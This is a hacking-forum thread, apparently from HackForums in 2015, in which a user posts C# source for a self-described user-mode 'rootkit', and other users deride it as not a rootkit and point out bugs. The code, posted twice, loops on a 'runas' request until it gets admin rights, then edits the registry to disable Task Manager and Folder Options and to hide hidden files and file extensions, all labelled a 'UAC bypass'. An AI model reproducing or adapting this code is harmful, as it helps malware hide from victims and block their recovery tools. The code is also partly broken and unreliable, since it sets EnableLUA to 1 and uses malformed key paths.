DO NOT DEAL WITH THIS MEMBER
Dec 7, 2015 06:36 AM
(This post was last modified: Dec 7, 2015 11:26 AM by N3Cr0M0rPh.)
Hey guys I coded a simple ring3 rootkit in C#
It has:
Disable taskmanager
Disable UAC
UAC Bypass
Disable folder options
Disable View Hidden Files
Code public static bool IsAdministrator()
{
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool LaunchAsAdmin()
{
string fileName = Assembly.GetExecutingAssembly().Location;
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.Verb = "runas";
processInfo.FileName = fileName;
try
{
Process.Start(processInfo);
}
catch (Win32Exception)
{
return false;
}
return true;
}
public static bool ByPassUAC()
{
if (IsAdministrator())
{
try {
//disable UAC
RegistryKey uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
if (uac == null)
{
uac = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
}
uac.SetValue("EnableLUA", 1);
uac.Close();
//Disable view hidden files all across the board
RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
ShowSuperHidden.Close();
RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
HideFileExt.Close();
RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
HideDrivesWithNoMedia.Close();
//Disable Folder Options
RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
NoFolderOptions.Close();
//Disable Task manager
RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
DisableTaskMgr.Close();
} catch
{
}
return true;
}
bool Ran = false;
while (Ran != true)
{
Ran = LaunchAsAdmin();
}
Environment.Exit(0);
return true;
}
Have fun HF! 🤝
This is a little bit of the source code from thanatos IRC btw
Not sure how good it actually is but thanks for the free release 🤝
You're not disabling UAC, even if you were, you need a reboot, it doesn't work above windows 7 too, nor XP, but you don't seem to care about that.
Nice useless variable declaration and while loop, why you don't just use 'else'?
Environment.Exit(0) and followed by a return call, what a moron.
This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.
best you can do is import a dll made in c++ and inject into everything lmao
DO NOT DEAL WITH THIS MEMBER
(Dec 7, 2015 07:36 AM)Joshmills Wrote: This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.
best you can do is import a dll made in c++ and inject into everything lmao
This isnt a repost, its my own code.
except that to disable UAC, you need admin rights...
DO NOT DEAL WITH THIS MEMBER
(Dec 7, 2015 10:36 AM)excr4sh Wrote: except that to disable UAC, you need admin rights...
It requests for admin...
Dec 7, 2015 02:20 PM
(This post was last modified: Dec 7, 2015 02:20 PM by BahNahNah.)
This is not a rootkit.
You cant make rootkits in .Net.
Lotta blood to let, peace to make, give a fuk about a check
(Dec 7, 2015 06:36 AM)N3Cr0M0rPh Wrote: Hey guys I coded a simple ring3 rootkit in C#
It has:
Disable taskmanager
Disable UAC
UAC Bypass
Disable folder options
Disable View Hidden Files
Code public static bool IsAdministrator()
{
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool LaunchAsAdmin()
{
string fileName = Assembly.GetExecutingAssembly().Location;
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.Verb = "runas";
processInfo.FileName = fileName;
try
{
Process.Start(processInfo);
}
catch (Win32Exception)
{
return false;
}
return true;
}
public static bool ByPassUAC()
{
if (IsAdministrator())
{
try {
//disable UAC
RegistryKey uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
if (uac == null)
{
uac = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
}
uac.SetValue("EnableLUA", 1);
uac.Close();
//Disable view hidden files all across the board
RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
ShowSuperHidden.Close();
RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
HideFileExt.Close();
RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
HideDrivesWithNoMedia.Close();
//Disable Folder Options
RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
NoFolderOptions.Close();
//Disable Task manager
RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
DisableTaskMgr.Close();
} catch
{
}
return true;
}
bool Ran = false;
while (Ran != true)
{
Ran = LaunchAsAdmin();
}
Environment.Exit(0);
return true;
}
This is a little bit of the source code from thanatos IRC btw
This shit code is not a rootkit. Oh I love silly kids makes me think of my childhood.
(Dec 7, 2015 02:20 PM)BahNahNah Wrote: This is not a rootkit.
You cant make rootkits in .Net.
Can you call the winapi in .net yes can you make a rootkit in .net yes.
Is it the right thing to make one in .net no but you can.
(Dec 7, 2015 07:36 AM)Joshmills Wrote: This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.
best you can do is import a dll made in c++ and inject into everything lmao
You can inject code directly in .net by calling the winapi no need to use LoadLibary
(Dec 7, 2015 11:24 AM)N3Cr0M0rPh Wrote: It requests for admin...
I may be pointing the obvious, but since you didn't reply to my previous post, you're setting the EnableLUA to '1', that's not disabling UAC.
I know i need to point this out to you after you just coded a 'rootkit'.
DO NOT DEAL WITH THIS MEMBER
(Dec 7, 2015 02:42 PM)He B TeMy Wrote: I may be pointing the obvious, but since you didn't reply to my previous post, you're setting the EnableLUA to '1', that's not disabling UAC.
I know i need to point this out to you after you just coded a 'rootkit'.
Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf
(Dec 7, 2015 03:57 PM)N3Cr0M0rPh Wrote: Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf
Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.
Lotta blood to let, peace to make, give a fuk about a check
(Dec 7, 2015 03:58 PM)BahNahNah Wrote: Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.
This!
I suggest going with Pascal. 😝
Dec 7, 2015 04:28 PM
(This post was last modified: Dec 7, 2015 04:42 PM by true.)
(Dec 7, 2015 03:58 PM)BahNahNah Wrote: Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.
Couldn't you make one if it was a ring 3 rootkit?(Not familiar with rootkit's, just curious)
DO NOT DEAL WITH THIS MEMBER
Dec 7, 2015 04:32 PM
(This post was last modified: Dec 7, 2015 04:32 PM by Yoshikage Kira.)
(Dec 7, 2015 03:57 PM)N3Cr0M0rPh Wrote: Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf
You're hilarious, this "shit" that you posted is not a ring3 userkit.
|
